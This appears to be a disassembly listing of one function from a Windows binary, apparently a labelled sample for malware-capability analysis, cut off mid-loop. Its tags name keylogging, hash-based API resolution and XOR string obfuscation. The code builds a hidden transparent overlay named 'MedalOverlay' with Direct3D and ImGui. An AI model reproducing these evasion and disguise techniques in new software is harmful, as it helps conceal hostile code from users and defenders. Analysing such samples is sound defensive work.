Function at 0x140094fb0
Capabilities:
Access peb ldr_data
Delete file
Encode data using base64
Encode data using xor
Encrypt data using speck
Hash data using fnv
Log keystrokes via polling
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1ac0]
mov eax, 0x1bc0
call fcn.140126e60
sub rsp, rax
movaps xmmword [rsp + 0x1bb0], xmm6
movaps xmmword [rsp + 0x1ba0], xmm7
movaps xmmword [rsp + 0x1b90], xmm8
movaps xmmword [rsp + 0x1b80], xmm9
movaps xmmword [rsp + 0x1b70], xmm10
movaps xmmword [rsp + 0x1b60], xmm11
movaps xmmword [rsp + 0x1b50], xmm12
movaps xmmword [rsp + 0x1b40], xmm13
movaps xmmword [rsp + 0x1b30], xmm14
movaps xmmword [rsp + 0x1b20], xmm15
mov rax, qword [0x140160880]
xor rax, rsp
mov qword [rbp + 0x1a10], rax
xor r13d, r13d
xorps xmm0, xmm0
movups xmmword [rbp + 0x1958], xmm0
lea rdx, [rbp + 0x1ae8]
movabs rcx, 0xff00ff00ff00ff00
mov qword [rbp + 0x1960], rcx
mov qword [rbp + 0x1968], rdx
mov rax, qword [rdx]
xor rax, rcx
mov qword [rbp + 0x1958], rax
mov qword [rdx], r13
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140095116
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140095116
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140095111
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400950f0
cmp r8d, 0xf652bc95
je 0x14009511b
test r9d, r9d
jne 0x1400950d0
mov rax, qword [rax]
jmp 0x1400950a0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
xor edx, edx
lea rcx, str.grcWindow
call r8
mov qword [0x1401a9890], rax
mov r12d, dword [reloc.WS2_32.dll_accept]
test rax, rax
jne 0x14009549f
mov eax, dword [0x1401464c0]
mov dword [rsp + 0x78], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rsp + 0x78], 0x69
xor byte [rsp + 0x79], 0x39
xor byte [rsp + 0x7a], 0x3a
xor byte [rsp + 0x7b], 0x3b
xor al, 0x3c
mov byte [rsp + 0x7c], al
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x1490]
call fcn.140046b60
nop
movups xmm0, xmmword [str.oXSOUSY]
movups xmmword [rbp + 0xe60], xmm0
mov eax, dword [0x140146938]
mov dword [rbp + 0xe70], eax
movzx eax, byte [0x14014693c]
mov byte [rbp + 0xe74], al
mov r8d, r13d
cmp r12d, 2
jl 0x140095305
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xe64]
mov edx, dword [rbp + 0x17a0]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140095200
cmp r8d, 0x15
jge 0x140095350
movsxd rax, r8d
lea r9, [rbp + 0xe60]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140095320
movzx edx, byte [rbp + 0x1780]
lea rcx, [rbp + 0x1450]
call fcn.140049aa0
nop
lea rax, [rbp + 0xe60]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140095372
lea rdx, [rbp + 0xe60]
lea rcx, [rbp + 0x1450]
call fcn.140049ac0
nop
xor r8d, r8d
lea rdx, [rbp + 0x1490]
lea rcx, [rbp + 0x1450]
call fcn.140093580
nop
lea rcx, [rbp + 0x1450]
call fcn.140046ba0
nop
lea rcx, [rbp + 0x1490]
call fcn.140046ba0
cmp qword [0x1401a9890], 0
jne 0x14009549f
nop
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140095466
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140095466
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140095461
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140095440
cmp r8d, 0xf652bc95
je 0x14009546b
test r9d, r9d
jne 0x140095420
mov rax, qword [rax]
jmp 0x1400953f0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
xor edx, edx
lea rcx, str.grcWindow
call r8
mov qword [0x1401a9890], rax
test rax, rax
je 0x1400953d0
call fcn.140086470
lea rcx, [0x1401a77d8]
call fcn.140046b40
mov rcx, rax
call fcn.14007e7f0
mov dword [0x1401a9818], eax
call fcn.14007e6f0
mov qword [0x1401a9810], rax
call fcn.14007e770
mov rcx, qword [0x1401a9810]
add rcx, qword [0x1401ab140]
mov qword [rbp + 0x1900], r13
mov r8d, 8
lea rdx, [rbp + 0x1900]
call fcn.14007e5d0
mov rax, qword [rbp + 0x1900]
mov qword [0x1401ab190], rax
mov rcx, qword [0x1401ab198]
add rcx, qword [0x1401a9810]
mov qword [rbp + 0x1928], r13
mov r8d, 8
lea rdx, [rbp + 0x1928]
call fcn.14007e5d0
mov rax, qword [rbp + 0x1928]
mov qword [0x1401ab110], rax
mov rcx, qword [0x1401ab178]
add rcx, qword [0x1401a9810]
mov qword [rbp + 0x1930], r13
mov r8d, 8
lea rdx, [rbp + 0x1930]
call fcn.14007e5d0
mov rax, qword [rbp + 0x1930]
mov qword [0x1401ab160], rax
lea rcx, [rax + 8]
mov qword [rbp + 0x1908], r13
mov r8d, 8
lea rdx, [rbp + 0x1908]
call fcn.14007e5d0
mov rax, qword [rbp + 0x1908]
mov qword [0x1401ab128], rax
mov eax, dword [0x1401464c0]
mov dword [rsp + 0x70], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rsp + 0x70], 0x69
xor byte [rsp + 0x71], 0x39
xor byte [rsp + 0x72], 0x3a
xor byte [rsp + 0x73], 0x3b
xor al, 0x3c
mov byte [rsp + 0x74], al
movzx edx, byte [rbp + 0x1780]
lea rcx, [rbp + 0x1430]
call fcn.140049aa0
nop
lea rax, [rsp + 0x70]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400955e4
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x1430]
call fcn.140049ac0
nop
movups xmm0, xmmword [str.WNN]
movups xmmword [rbp + 0x1270], xmm0
movsd xmm0, qword [0x140145ee8]
movsd qword [rbp + 0x1280], xmm0
mov eax, dword [0x140145ef0]
mov dword [rbp + 0x1288], eax
movzx eax, byte [0x140145ef4]
mov byte [rbp + 0x128c], al
mov r8d, r13d
cmp r12d, 2
jl 0x140095785
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0x1274]
mov edx, dword [rbp + 0x17a0]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140095680
cmp r8d, 0x1d
jge 0x1400957d0
movsxd rax, r8d
lea r9, [rbp + 0x1270]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x1400957a0
movzx edx, byte [rbp + 0x1780]
lea rcx, [rbp + 0x1410]
call fcn.140049aa0
nop
lea rax, [rbp + 0x1270]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400957f2
lea rdx, [rbp + 0x1270]
lea rcx, [rbp + 0x1410]
call fcn.140049ac0
nop
xor r8d, r8d
lea rdx, [rbp + 0x1430]
lea rcx, [rbp + 0x1410]
call fcn.140093580
nop
lea rcx, [rbp + 0x1410]
call fcn.140046ba0
nop
lea rcx, [rbp + 0x1430]
call fcn.140046ba0
lea rdx, [0x1401a7798]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.1400b1f90
mov rax, qword [0x1401466c8]
mov qword [rbp + 0x198], rax
cmp byte [0x1401466cf], 0
je 0x1400959c0
cmp r12d, 2
jl 0x14009597c
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x198]
xorps xmm2, xmm1
movd dword [rbp + 0x198], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x19c]
xorps xmm2, xmm1
movd dword [rbp + 0x19c], xmm2
jmp 0x1400959c0
lea r9, [rbp + 0x198]
mov r8d, r13d
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140095990
movzx edx, byte [rbp + 0x1780]
lea rcx, [rbp + 0x13f0]
call fcn.140049aa0
nop
lea rax, [rbp + 0x198]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400959e2
lea rdx, [rbp + 0x198]
lea rcx, [rbp + 0x13f0]
call fcn.140049ac0
nop
movups xmm0, xmmword [str.kLYXYNMY5_.:d____.k___o_4___52Y]
movups xmmword [rbp + 0x15f0], xmm0
movups xmm1, xmmword [0x140145a18]
movups xmmword [rbp + 0x1600], xmm1
movzx eax, word [0x140145a28]
mov word [rbp + 0x1610], ax
mov r8d, r13d
cmp r12d, 2
jl 0x140095b75
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0x15f4]
mov edx, dword [rbp + 0x17a0]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140095a70
cmp r8d, 0x22
jge 0x140095bc0
movsxd rax, r8d
lea r9, [rbp + 0x15f0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x140095b90
movzx edx, byte [rbp + 0x1780]
lea rcx, [rbp + 0x13d0]
call fcn.140049aa0
nop
lea rax, [rbp + 0x15f0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140095be2
lea rdx, [rbp + 0x15f0]
lea rcx, [rbp + 0x13d0]
call fcn.140049ac0
nop
xor r8d, r8d
lea rdx, [rbp + 0x13f0]
lea rcx, [rbp + 0x13d0]
call fcn.140093580
nop
lea rcx, [rbp + 0x13d0]
call fcn.140046ba0
nop
lea rcx, [rbp + 0x13f0]
call fcn.140046ba0
lea rdx, [0x1401a98a0]
mov rcx, qword [0x1401a9890]
call qword [sym.imp.USER32.dll_GetClientRect]
lea rdx, [0x1401a98b0]
mov rcx, qword [0x1401a9890]
call qword [sym.imp.USER32.dll_ClientToScreen]
mov qword [0x1401a9840], 0x50
lea rax, [0x140090f50]
mov qword [0x1401a9848], rax
mov qword [0x1401a9850], r13
mov qword [0x1401a9858], r13
xorps xmm0, xmm0
movdqu xmmword [0x1401a9860], xmm0
mov qword [0x1401a9870], r13
lea rax, str.MedalOverlay
mov qword [0x1401a9878], rax
lea rax, str.MedalOverlayWindowClass
mov qword [0x1401a9880], rax
mov qword [0x1401a9888], r13
lea rcx, [0x1401a9840]
call qword [sym.imp.USER32.dll_RegisterClassExA]
mov qword [rsp + 0x58], r13
mov rax, qword [0x1401a9858]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r13
mov eax, dword [0x1401a98ac]
mov dword [rsp + 0x38], eax
mov eax, dword [0x1401a98a8]
mov dword [rsp + 0x30], eax
mov eax, dword [0x1401a98b4]
mov dword [rsp + 0x28], eax
mov eax, dword [0x1401a98b0]
mov dword [rsp + 0x20], eax
mov r9d, 0x90000000
mov r8, qword [0x1401a9878]
mov rdx, qword [0x1401a9880]
mov ecx, 0x800a8
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov qword [0x1401a9898], rax
mov r9d, 2
mov r8b, 0xff
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
movdqa xmm0, xmmword [0x140149450]
movdqu xmmword [rbp + 0x1938], xmm0
lea rdx, [rbp + 0x1938]
mov rcx, qword [0x1401a9898]
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov qword [rbp + 0x1744], r13
mov qword [rbp + 0x1758], 2
mov qword [rbp + 0x1770], 2
mov qword [rbp + 0x1730], r13
mov dword [rbp + 0x1740], Ordinal_35
mov dword [rbp + 0x1738], reloc.WLDAP32.dll_Ordinal_60
mov dword [rbp + 0x173c], 1
mov dword [rbp + 0x1754], reloc.WLDAP32.dll_Ordinal_32
mov rax, qword [0x1401a9898]
mov qword [rbp + 0x1760], rax
mov qword [rbp + 0x174c], 1
mov qword [rbp + 0x1768], 1
mov dword [rbp + 0x19f8], 0xb000
mov dword [rbp + 0x19fc], 0xa000
lea rax, [0x1401a97f0]
mov qword [rsp + 0x58], rax
lea rax, [rbp + 0x1810]
mov qword [rsp + 0x50], rax
lea rax, [0x1401a98c8]
mov qword [rsp + 0x48], rax
lea rax, [0x1401a98d0]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x1730]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 7
mov dword [rsp + 0x28], 2
lea rax, [rbp + 0x19f8]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
xor ecx, ecx
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
movss xmm6, dword [0x140149300]
movss xmm8, dword [0x14014930c]
test eax, eax
je 0x140095ee2
mov rcx, qword [0x1401aa8e0]
test rcx, rcx
je 0x140095e7e
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1401aa8e0], r13
mov rcx, qword [0x1401a98d0]
test rcx, rcx
je 0x140095e97
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1401a98d0], r13
mov rcx, qword [0x1401a97f0]
test rcx, rcx
je 0x140095eb0
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1401a97f0], r13
mov rcx, qword [0x1401a98c8]
test rcx, rcx
je 0x140095ec9
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1401a98c8], r13
mov rdx, qword [0x1401a9858]
mov rcx, qword [0x1401a9880]
call qword [sym.imp.USER32.dll_UnregisterClassA]
jmp 0x140096724
mov rcx, qword [0x1401a98d0]
mov rax, qword [rcx]
mov r10, qword [rax + 0x48]
lea r9, [rbp + 0x1728]
lea r8, [0x140145300]
xor edx, edx
call r10
mov rcx, qword [0x1401a98c8]
mov rax, qword [rcx]
mov r10, qword [rax + 0x48]
lea r9, [0x1401aa8e0]
xor r8d, r8d
mov rdx, qword [rbp + 0x1728]
call r10
mov rcx, qword [rbp + 0x1728]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov edx, 0xa
mov rcx, qword [0x1401a9898]
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x1401a9898]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov qword [rsp + 0x30], 2
mov qword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov qword [rsp + 0x20], reloc.WS2_32.dll_recv
mov edx, 0x38e0
mov r9d, 8
mov r8d, 0x484
lea rcx, str.1.91.1_WIP
call fcn.140016510
xor ecx, ecx
call fcn.140007b70
mov rbx, qword [0x1401a97b0]
mov qword [rbx + 0x20], r13
mov qword [rbx + 0x28], r13
xor edx, edx
mov rcx, qword [0x1401a9898]
call fcn.1400331d0
mov rdx, qword [0x1401a97f0]
mov rcx, qword [0x1401a98c8]
call fcn.140032f40
mov rax, qword [0x1401a97b0]
movaps xmm0, xmmword [0x140149740]
movups xmmword [rax + 0x3a38], xmm0
mov dword [rax + 0x3a68], 0x3e20a0a1
mov dword [rax + 0x3a6c], 0x3e20a0a1
mov dword [rax + 0x3a70], 0x3e20a0a1
mov dword [rax + 0x3a74], 0x3f800000
mov dword [rax + 0x3930], 0x41700000
mov dword [rax + 0x3934], 0x41700000
mov dword [rax + 0x399c], r13d
mov dword [rax + 0x3a88], 0x3e4ccccd
mov dword [rax + 0x3a8c], 0x3e4ccccd
mov dword [rax + 0x3a90], 0x3e4ccccd
mov dword [rax + 0x3a94], 0x3f800000
mov dword [rax + 0x3a18], 0x3f800000
mov dword [rax + 0x3a1c], 0x3f800000
mov dword [rax + 0x3a20], 0x3f800000
mov dword [rax + 0x3a24], 0x3f800000
mov dword [rax + 0x3a28], 0x3f4ccccd
mov dword [rax + 0x3a2c], 0x3f4ccccd
mov dword [rax + 0x3a30], 0x3f4ccccd
mov dword [rax + 0x3a34], 0x3f800000
lea rdi, [0x140143828]
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], r13
movaps xmm3, xmm6
mov r8d, 0xf428
lea rdx, [0x140160b10]
mov rcx, qword [rbx + 0x38]
call fcn.14002cdf0
mov qword [0x1401ab308], rax
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], r13
movss xmm3, dword [0x140149308]
mov r8d, 0xf428
lea rdx, [0x140160b10]
mov rcx, qword [rbx + 0x38]
call fcn.14002cdf0
mov qword [0x1401ab1e8], rax
mov r10, qword [rbx + 0x38]
movups xmm0, xmmword [0x140144708]
movups xmmword [rbp + 0x11f0], xmm0
movsd xmm0, qword [0x140144718]
movsd qword [rbp + 0x1200], xmm0
movzx eax, word [0x140144720]
mov word [rbp + 0x1208], ax
movzx eax, byte [0x140144722]
mov byte [rbp + 0x120a], al
mov r8d, r13d
cmp r12d, 2
jl 0x140096275
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0x11f4]
mov edx, dword [rbp + 0x17a0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140096170
cmp r8d, 0x1b
jge 0x1400962c0
movsxd rax, r8d
lea r9, [rbp + 0x11f0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x140096290
mov qword [rsp + 0x20], r13
xor r9d, r9d
movss xmm7, dword [0x140149310]
movaps xmm2, xmm7
lea rdx, [rbp + 0x11f0]
mov rcx, r10
call fcn.14002cba0
mov qword [0x1401ab300], rax
mov r10, qword [rbx + 0x38]
movups xmm0, xmmword [0x140146400]
movups xmmword [rbp + 0x1290], xmm0
movsd xmm0, qword [0x140146410]
movsd qword [rbp + 0x12a0], xmm0
mov eax, dword [0x140146418]
mov dword [rbp + 0x12a8], eax
movzx eax, byte [0x14014641c]
mov byte [rbp + 0x12ac], al
mov r8d, r13d
cmp r12d, 2
jl 0x140096475
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0x1294]
mov edx, dword [rbp + 0x17a0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
